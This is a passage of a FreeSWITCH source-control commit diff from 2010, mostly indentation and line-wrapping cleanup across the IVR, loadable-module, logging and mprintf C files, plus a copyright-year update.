for (energy = 0, j = 0, count = 0; count < read_frame->samples; count++) {
energy += abs(data[j++]);
j += channels;
}
-
+
score = (uint32_t) (energy / (read_frame->samples / divisor));
-
+
if (score >= thresh) {
listening++;
}
@@ -1611,7 +1604,7 @@
switch_core_session_reset(session, SWITCH_FALSE, SWITCH_TRUE);
switch_core_codec_destroy(&raw_codec);
- end:
+ end:
if (abuf) {
switch_core_file_close(&fh);
@@ -1626,10 +1619,7 @@
uint32_t max_digits,
const char *prompt_audio_file,
const char *var_name,
- char *digit_buffer,
- switch_size_t digit_buffer_length,
- uint32_t timeout,
- const char *valid_terminators)
+ char *digit_buffer, switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators)
{
switch_channel_t *channel;
switch_input_args_t args = { 0 };
@@ -1640,7 +1630,7 @@
switch_assert(session);
if (max_digits < min_digits) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"Max digits %u is less than Min %u, forcing Max to %u\n", max_digits, min_digits, min_digits);
max_digits = min_digits;
}
@@ -1703,11 +1693,11 @@
default:
switch_channel_set_variable(channel, SWITCH_READ_RESULT_VARIABLE, "failure");
break;
-
+
}
-
- end:
+ end:
+
if (max_digits == 1 && len == 1 && valid_terminators && strchr(valid_terminators, *digit_buffer)) {
*digit_buffer = '\0';
}
@@ -1727,30 +1717,28 @@
uint32_t timeout,
const char *valid_terminators,
const char *prompt_audio_file,
- const char *bad_input_audio_file,
+ const char *bad_input_audio_file,
const char *var_name,
- char *digit_buffer,
- uint32_t digit_buffer_length,
- const char *digits_regex)
+ char *digit_buffer, uint32_t digit_buffer_length, const char *digits_regex)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
- while(switch_channel_ready(channel) && max_tries) {
+ while (switch_channel_ready(channel) && max_tries) {
switch_status_t status;
-
+
memset(digit_buffer, 0, digit_buffer_length);
switch_channel_flush_dtmf(channel);
- status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name,
+ status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name,
digit_buffer, digit_buffer_length, timeout, valid_terminators);
if (status == SWITCH_STATUS_TIMEOUT && strlen(digit_buffer) >= min_digits) {
status = SWITCH_STATUS_SUCCESS;
}
- if (status == SWITCH_STATUS_TOO_SMALL && strlen(digit_buffer) == 0) {
- return SWITCH_STATUS_FALSE;
- }
-
+ if (status == SWITCH_STATUS_TOO_SMALL && strlen(digit_buffer) == 0) {
+ return SWITCH_STATUS_FALSE;
+ }
+
if (status == SWITCH_STATUS_SUCCESS) {
if (!zstr(digit_buffer)) {
if (zstr(digits_regex)) {
@@ -2077,8 +2065,8 @@
const char *timer_name, *var;
cached_speech_handle_t *cache_obj = NULL;
int need_create = 1, need_alloc = 1;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
@@ -2122,7 +2110,7 @@
if (need_create) {
memset(sh, 0, sizeof(*sh));
if ((status = switch_core_speech_open(sh, tts_name, voice_name, (uint32_t) rate, interval,
- &flags, switch_core_session_get_pool(session))) != SWITCH_STATUS_SUCCESS) {
+ &flags, switch_core_session_get_pool(session))) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Invalid TTS module!\n");
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
if (cache_obj) {
@@ -2149,7 +2137,8 @@
pool) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Raw Codec Activated\n");
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Raw Codec Activation Failed %s@%uhz 1 channel %dms\n", codec_name, rate, interval);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Raw Codec Activation Failed %s@%uhz 1 channel %dms\n", codec_name,
+ rate, interval);
flags = 0;
switch_core_speech_close(sh, &flags);
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
@@ -2175,7 +2164,8 @@
}
return SWITCH_STATUS_GENERR;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setup timer success %u bytes per %d ms!\n", sh->samples * 2, interval);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setup timer success %u bytes per %d ms!\n", sh->samples * 2,
+ interval);
}
/* start a thread to absorb incoming audio */
switch_core_service_session(session);
Modified: freeswitch/trunk/src/switch_loadable_module.c (16578 => 16579)
--- freeswitch/trunk/src/switch_loadable_module.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_loadable_module.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -76,7 +76,8 @@
};
static struct switch_loadable_module_container loadable_modules;
-static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err);
+static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy,
+ const char **err);
static switch_status_t switch_loadable_module_load_module_ex(char *dir, char *fname, switch_bool_t runtime, switch_bool_t global, const char **err);
static void *SWITCH_THREAD_FUNC switch_loadable_module_exec(switch_thread_t *thread, void *obj)
@@ -444,7 +445,7 @@
switch_event_t *event;
switch_mutex_lock(loadable_modules.mutex);
-
+
if (old_module->module_interface->endpoint_interface) {
const switch_endpoint_interface_t *ptr;
@@ -452,12 +453,13 @@
if (ptr->interface_name) {
switch_core_session_hupall_endpoint(ptr, SWITCH_CAUSE_MANAGER_REQUEST);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
- switch_thread_rwlock_unlock(ptr->rwlock);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
- }
+ switch_thread_rwlock_unlock(ptr->rwlock);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
+ }
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting Endpoint '%s'\n", ptr->interface_name);
if (switch_event_create(&event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
@@ -542,13 +544,14 @@
if (ptr->interface_name) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting Application '%s'\n", ptr->interface_name);
switch_core_session_hupall_matching_var(SWITCH_CURRENT_APPLICATION_VARIABLE, ptr->interface_name, SWITCH_CAUSE_MANAGER_REQUEST);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
}
-
+
if (switch_event_create(&event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "application");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
@@ -568,8 +571,9 @@
if (ptr->interface_name) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting API Function '%s'\n", ptr->interface_name);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -596,8 +600,9 @@
if (ptr->interface_name) {
int i;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -624,8 +629,9 @@
if (ptr->interface_name) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -649,8 +655,9 @@
for (ptr = old_module->module_interface->asr_interface; ptr; ptr = ptr->next) {
if (ptr->interface_name) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -674,8 +681,9 @@
for (ptr = old_module->module_interface->directory_interface; ptr; ptr = ptr->next) {
if (ptr->interface_name) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -699,8 +707,9 @@
for (ptr = old_module->module_interface->chat_interface; ptr; ptr = ptr->next) {
if (ptr->interface_name) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -723,8 +732,9 @@
for (ptr = old_module->module_interface->say_interface; ptr; ptr = ptr->next) {
if (ptr->interface_name) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+ ptr->interface_name);
+
if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
switch_thread_rwlock_unlock(ptr->rwlock);
} else {
@@ -801,7 +811,7 @@
switch_safe_free(derr)
- if (!interface_struct_handle) {
+ if (!interface_struct_handle) {
dso = switch_dso_open(path, load_global, &derr);
}
@@ -822,7 +832,7 @@
if (interface_struct_handle && interface_struct_handle->switch_api_version != SWITCH_API_VERSION) {
err = "Trying to load an out of date module, please rebuild the module.";
- break;
+ break;
}
if (!load_global && interface_struct_handle && switch_test_flag(interface_struct_handle, SMODF_GLOBAL_SYMBOLS)) {
@@ -959,7 +969,7 @@
SWITCH_DECLARE(switch_status_t) switch_loadable_module_exists(const char *mod)
{
- switch_status_t status;
+ switch_status_t status;
if (zstr(mod)) {
return SWITCH_STATUS_FALSE;
@@ -1002,7 +1012,7 @@
*err = "No such module!";
status = SWITCH_STATUS_FALSE;
}
- end:
+ end:
switch_mutex_unlock(loadable_modules.mutex);
if (force) {
@@ -1245,11 +1255,12 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err)
+static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy,
+ const char **err)
{
int32_t flags = switch_core_flags();
switch_assert(module != NULL);
-
+
if (fail_if_busy && module->module_interface->rwlock && switch_thread_rwlock_trywrlock(module->module_interface->rwlock) != SWITCH_STATUS_SUCCESS) {
if (err) {
*err = "Module in use.";
@@ -1274,7 +1285,7 @@
switch_thread_rwlock_unlock(module->module_interface->rwlock);
}
- if (unload && module->status != SWITCH_STATUS_NOUNLOAD && !(flags & SCF_VG)) {
+ if (unload && module->status != SWITCH_STATUS_NOUNLOAD && !(flags & SCF_VG)) {
switch_memory_pool_t *pool;
switch_status_t st;
@@ -1290,7 +1301,7 @@
switch_core_destroy_memory_pool(&pool);
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -1300,7 +1311,7 @@
switch_hash_index_t *hi;
void *val;
switch_loadable_module_t *module;
-
+
if (!loadable_modules.module_hash) {
return;
}
@@ -1389,22 +1400,22 @@
PROTECT_INTERFACE(i); \
} \
return i; \
- }
-
+ }
+
HASH_FUNC(dialplan)
-HASH_FUNC(timer)
-HASH_FUNC(application)
-HASH_FUNC(api)
-HASH_FUNC(file)
-HASH_FUNC(speech)
-HASH_FUNC(asr)
-HASH_FUNC(directory)
-HASH_FUNC(chat)
+ HASH_FUNC(timer)
+ HASH_FUNC(application)
+ HASH_FUNC(api)
+ HASH_FUNC(file)
+ HASH_FUNC(speech)
+ HASH_FUNC(asr)
+ HASH_FUNC(directory)
+ HASH_FUNC(chat)
-SWITCH_DECLARE(switch_say_interface_t *) switch_loadable_module_get_say_interface(const char *name)
+ SWITCH_DECLARE(switch_say_interface_t *) switch_loadable_module_get_say_interface(const char *name)
{
- return switch_core_hash_find_locked(loadable_modules.say_hash, name, loadable_modules.mutex);
+ return switch_core_hash_find_locked(loadable_modules.say_hash, name, loadable_modules.mutex);
}
SWITCH_DECLARE(switch_management_interface_t *) switch_loadable_module_get_management_interface(const char *relative_oid)
@@ -1440,7 +1451,8 @@
found:
- if (!lock && i > 0) lock = array[i-1]->microseconds_per_packet;
+ if (!lock && i > 0)
+ lock = array[i - 1]->microseconds_per_packet;
if (i > arraylen) {
break;
@@ -1491,13 +1503,13 @@
if ((codec_interface = switch_loadable_module_get_codec_interface(name)) != 0) {
/* If no specific codec interval is requested opt for 20ms above all else because lots of stuff assumes it */
for (imp = codec_interface->implementations; imp; imp = imp->next) {
-
+
if (imp->codec_type != SWITCH_CODEC_TYPE_VIDEO) {
if (lock && imp->microseconds_per_packet != lock) {
continue;
}
- if ((!interval && (uint32_t) (imp->microseconds_per_packet / 1000) != 20) ||
+ if ((!interval && (uint32_t) (imp->microseconds_per_packet / 1000) != 20) ||
(interval && (uint32_t) (imp->microseconds_per_packet / 1000) != interval)) {
continue;
}
@@ -1524,7 +1536,7 @@
if (interval && (uint32_t) (imp->microseconds_per_packet / 1000) != interval) {
continue;
}
-
+
if (rate && (uint32_t) imp->samples_per_second != rate) {
continue;
}
@@ -1538,7 +1550,7 @@
found:
if (!lock && i > 0) {
- lock = array[i-1]->microseconds_per_packet;
+ lock = array[i - 1]->microseconds_per_packet;
}
UNPROTECT_INTERFACE(codec_interface);
Modified: freeswitch/trunk/src/switch_log.c (16578 => 16579)
--- freeswitch/trunk/src/switch_log.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_log.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -72,14 +72,20 @@
static WORD wOldColorAttrs;
static CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
-static WORD
+static WORD
#else
-static const char*
+static const char *
#endif
-COLORS[] = { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN, SWITCH_SEQ_FYELLOW };
+
+
+
+
+ COLORS[] =
+ { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN,
+SWITCH_SEQ_FYELLOW };
-static switch_log_node_t* switch_log_node_alloc()
+static switch_log_node_t *switch_log_node_alloc()
{
switch_log_node_t *node = NULL;
#ifdef SWITCH_LOG_RECYCLE
@@ -97,37 +103,37 @@
return node;
}
-SWITCH_DECLARE(switch_log_node_t*) switch_log_node_dup(const switch_log_node_t *node)
+SWITCH_DECLARE(switch_log_node_t *) switch_log_node_dup(const switch_log_node_t *node)
{
switch_log_node_t *newnode = switch_log_node_alloc();
-
+
*newnode = *node;
-
+
if (!zstr(node->data)) {
- newnode->data = strdup(node->data);
+ newnode->data = strdup(node->data);
switch_assert(node->data);
}
-
+
if (!zstr(node->userdata)) {
newnode->userdata = strdup(node->userdata);
switch_assert(node->userdata);
}
-
+
return newnode;
}
SWITCH_DECLARE(void) switch_log_node_free(switch_log_node_t **pnode)
{
switch_log_node_t *node;
-
+
if (!pnode) {
return;
}
node = *pnode;
- if (node) {
- switch_safe_free(node->userdata);
+ if (node) {
+ switch_safe_free(node->userdata);
switch_safe_free(node->data);
#ifdef SWITCH_LOG_RECYCLE
if (switch_queue_trypush(LOG_RECYCLE_QUEUE, node) != SWITCH_STATUS_SUCCESS) {
@@ -137,7 +143,7 @@
free(node);
#endif
}
- *pnode = NULL;
+ *pnode = NULL;
}
SWITCH_DECLARE(const char *) switch_log_level2str(switch_log_level_t level)
@@ -186,7 +192,7 @@
x = atoi(str);
if (x > SWITCH_LOG_INVALID) {
- return SWITCH_LOG_INVALID -1;
+ return SWITCH_LOG_INVALID - 1;
} else if (x < 0) {
return 0;
} else {
@@ -315,15 +321,15 @@
const char *userdata, switch_log_level_t level, const char *fmt, ...)
{
va_list ap;
-
+
va_start(ap, fmt);
switch_log_vprintf(channel, file, func, line, userdata, level, fmt, ap);
- va_end(ap);
+ va_end(ap);
}
#define do_mods (LOG_QUEUE && THREAD_RUNNING)
SWITCH_DECLARE(void) switch_log_vprintf(switch_text_channel_t channel, const char *file, const char *func, int line,
- const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
+ const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
{
char *data = NULL;
char *new_fmt = NULL;
@@ -342,14 +348,14 @@
switch_log_level_t limit_level = runtime.hard_log_level;
if (channel == SWITCH_CHANNEL_ID_SESSION && userdata) {
- switch_core_session_t *session = (switch_core_session_t*)userdata;
+ switch_core_session_t *session = (switch_core_session_t *) userdata;
if (limit_level < session->loglevel) {
limit_level = session->loglevel;
}
}
if (level > 100) {
- if ((uint32_t)(level - 100) > runtime.debug_level) {
+ if ((uint32_t) (level - 100) > runtime.debug_level) {
return;
}
@@ -370,8 +376,8 @@
switch_time_exp_t tm;
switch_time_exp_lt(&tm, now);
- switch_snprintf(date, sizeof(date), "%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%0.6d",
- tm.tm_year + 1900, tm.tm_mon+1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
+ switch_snprintf(date, sizeof(date), "%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%0.6d",
+ tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
//switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
@@ -423,7 +429,7 @@
goto end;
}
-
+
if (console_mods_loaded == 0 || !do_mods) {
if (handle) {
int aok = 1;
@@ -460,11 +466,11 @@
}
}
}
- }
+ }
if (do_mods && level <= MAX_LEVEL) {
switch_log_node_t *node = switch_log_node_alloc();
-
+
node->data = data;
data = NULL;
switch_set_string(node->file, filep);
@@ -475,7 +481,7 @@
node->timestamp = now;
node->channel = channel;
if (channel == SWITCH_CHANNEL_ID_SESSION) {
- node->userdata = userdata ? strdup(switch_core_session_get_uuid((switch_core_session_t*)userdata)) : NULL;
+ node->userdata = userdata ? strdup(switch_core_session_get_uuid((switch_core_session_t *) userdata)) : NULL;
} else {
node->userdata = !zstr(userdata) ? strdup(userdata) : NULL;
}
@@ -495,7 +501,7 @@
SWITCH_DECLARE(switch_status_t) switch_log_init(switch_memory_pool_t *pool, switch_bool_t colorize)
{
switch_threadattr_t *thd_attr;;
-
+
switch_assert(pool != NULL);
LOG_POOL = pool;
@@ -518,13 +524,13 @@
if (colorize) {
#ifdef WIN32
- hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
- if (switch_core_get_console() == stdout && hStdout != INVALID_HANDLE_VALUE && GetConsoleScreenBufferInfo(hStdout, &csbiInfo)) {
- wOldColorAttrs = csbiInfo.wAttributes;
- COLORIZE = SWITCH_TRUE;
- }
+ hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
+ if (switch_core_get_console() == stdout && hStdout != INVALID_HANDLE_VALUE && GetConsoleScreenBufferInfo(hStdout, &csbiInfo)) {
+ wOldColorAttrs = csbiInfo.wAttributes;
+ COLORIZE = SWITCH_TRUE;
+ }
#else
- COLORIZE = SWITCH_TRUE;
+ COLORIZE = SWITCH_TRUE;
#endif
}
Modified: freeswitch/trunk/src/switch_mprintf.c (16578 => 16579)
--- freeswitch/trunk/src/switch_mprintf.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_mprintf.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -66,25 +66,25 @@
** Conversion types fall into various categories as defined by the
** following enumeration.
*/
-#define etRADIX 1 /* Integer types. %d, %x, %o, and so forth */
-#define etFLOAT 2 /* Floating point. %f */
-#define etEXP 3 /* Exponentional notation. %e and %E */
-#define etGENERIC 4 /* Floating or exponential, depending on exponent. %g */
-#define etSIZE 5 /* Return number of characters processed so far. %n */
-#define etSTRING 6 /* Strings. %s */
-#define etDYNSTRING 7 /* Dynamically allocated strings. %z */
-#define etPERCENT 8 /* Percent symbol. %% */
-#define etCHARX 9 /* Characters. %c */
+#define etRADIX 1 /* Integer types. %d, %x, %o, and so forth */
+#define etFLOAT 2 /* Floating point. %f */
+#define etEXP 3 /* Exponentional notation. %e and %E */
+#define etGENERIC 4 /* Floating or exponential, depending on exponent. %g */
+#define etSIZE 5 /* Return number of characters processed so far. %n */
+#define etSTRING 6 /* Strings. %s */
+#define etDYNSTRING 7 /* Dynamically allocated strings. %z */
+#define etPERCENT 8 /* Percent symbol. %% */
+#define etCHARX 9 /* Characters. %c */
/* The rest are extensions, not normally found in printf() */
-#define etCHARLIT 10 /* Literal characters. %' */
-#define etSQLESCAPE 11 /* Strings with '\'' doubled. %q */
-#define etSQLESCAPE2 12 /* Strings with '\'' doubled and enclosed in '',
- NULL pointers replaced by SQL NULL. %Q */
+#define etCHARLIT 10 /* Literal characters. %' */
+#define etSQLESCAPE 11 /* Strings with '\'' doubled. %q */
+#define etSQLESCAPE2 12 /* Strings with '\'' doubled and enclosed in '',
+ NULL pointers replaced by SQL NULL. %Q */
#ifdef __UNSUPPORTED__
-#define etTOKEN 13 /* a pointer to a Token structure */
-#define etSRCLIST 14 /* a pointer to a SrcList */
+#define etTOKEN 13 /* a pointer to a Token structure */
+#define etSRCLIST 14 /* a pointer to a SrcList */
#endif
-#define etPOINTER 15 /* The %p conversion */
+#define etPOINTER 15 /* The %p conversion */
#define etSQLESCAPE3 16
/*
@@ -96,21 +96,21 @@
** Each builtin conversion character (ex: the 'd' in "%d") is described
** by an instance of the following structure
*/
-typedef struct et_info { /* Information about each format field */
- char fmttype; /* The format field code letter */
- etByte base; /* The base for radix conversion */
- etByte flags; /* One or more of FLAG_ constants below */
- etByte type; /* Conversion paradigm */
- etByte charset; /* Offset into aDigits[] of the digits string */
- etByte prefix; /* Offset into aPrefix[] of the prefix string */
+typedef struct et_info { /* Information about each format field */
+ char fmttype; /* The format field code letter */
+ etByte base; /* The base for radix conversion */
+ etByte flags; /* One or more of FLAG_ constants below */
+ etByte type; /* Conversion paradigm */
+ etByte charset; /* Offset into aDigits[] of the digits string */
+ etByte prefix; /* Offset into aPrefix[] of the prefix string */
} et_info;
/*
** Allowed values for et_info.flags
*/
-#define FLAG_SIGNED 1 /* True if the value to convert is signed */
-#define FLAG_INTERN 2 /* True if for internal use only */
-#define FLAG_STRING 4 /* Allow infinity precision */
+#define FLAG_SIGNED 1 /* True if the value to convert is signed */
+#define FLAG_INTERN 2 /* True if for internal use only */
+#define FLAG_STRING 4 /* Allow infinity precision */
/*
@@ -120,33 +120,34 @@
static const char aDigits[] = "0123456789ABCDEF0123456789abcdef";
static const char aPrefix[] = "-x0\000X0";
static const et_info fmtinfo[] = {
- { 'd', 10, 1, etRADIX, 0, 0 },
- { 's', 0, 4, etSTRING, 0, 0 },
- { 'g', 0, 1, etGENERIC, 30, 0 },
- { 'z', 0, 6, etDYNSTRING, 0, 0 },
- { 'q', 0, 4, etSQLESCAPE, 0, 0 },
- { 'Q', 0, 4, etSQLESCAPE2, 0, 0 },
- { 'w', 0, 4, etSQLESCAPE3, 0, 0 },
- { 'c', 0, 0, etCHARX, 0, 0 },
- { 'o', 8, 0, etRADIX, 0, 2 },
- { 'u', 10, 0, etRADIX, 0, 0 },
- { 'x', 16, 0, etRADIX, 16, 1 },
- { 'X', 16, 0, etRADIX, 0, 4 },
+ {'d', 10, 1, etRADIX, 0, 0},
+ {'s', 0, 4, etSTRING, 0, 0},
+ {'g', 0, 1, etGENERIC, 30, 0},
+ {'z', 0, 6, etDYNSTRING, 0, 0},
+ {'q', 0, 4, etSQLESCAPE, 0, 0},
+ {'Q', 0, 4, etSQLESCAPE2, 0, 0},
+ {'w', 0, 4, etSQLESCAPE3, 0, 0},
+ {'c', 0, 0, etCHARX, 0, 0},
+ {'o', 8, 0, etRADIX, 0, 2},
+ {'u', 10, 0, etRADIX, 0, 0},
+ {'x', 16, 0, etRADIX, 16, 1},
+ {'X', 16, 0, etRADIX, 0, 4},
#ifndef SWITCH_OMIT_FLOATING_POINT
- { 'f', 0, 1, etFLOAT, 0, 0 },
- { 'e', 0, 1, etEXP, 30, 0 },
- { 'E', 0, 1, etEXP, 14, 0 },
- { 'G', 0, 1, etGENERIC, 14, 0 },
+ {'f', 0, 1, etFLOAT, 0, 0},
+ {'e', 0, 1, etEXP, 30, 0},
+ {'E', 0, 1, etEXP, 14, 0},
+ {'G', 0, 1, etGENERIC, 14, 0},
#endif
- { 'i', 10, 1, etRADIX, 0, 0 },
- { 'n', 0, 0, etSIZE, 0, 0 },
- { '%', 0, 0, etPERCENT, 0, 0 },
- { 'p', 16, 0, etPOINTER, 0, 1 },
+ {'i', 10, 1, etRADIX, 0, 0},
+ {'n', 0, 0, etSIZE, 0, 0},
+ {'%', 0, 0, etPERCENT, 0, 0},
+ {'p', 16, 0, etPOINTER, 0, 1},
#ifdef __UNSUPPORTED__
- { 'T', 0, 2, etTOKEN, 0, 0 },
- { 'S', 0, 2, etSRCLIST, 0, 0 },
+ {'T', 0, 2, etTOKEN, 0, 0},
+ {'S', 0, 2, etSRCLIST, 0, 0},
#endif
};
+
#define etNINFO (sizeof(fmtinfo)/sizeof(fmtinfo[0]))
/*
@@ -167,15 +168,17 @@
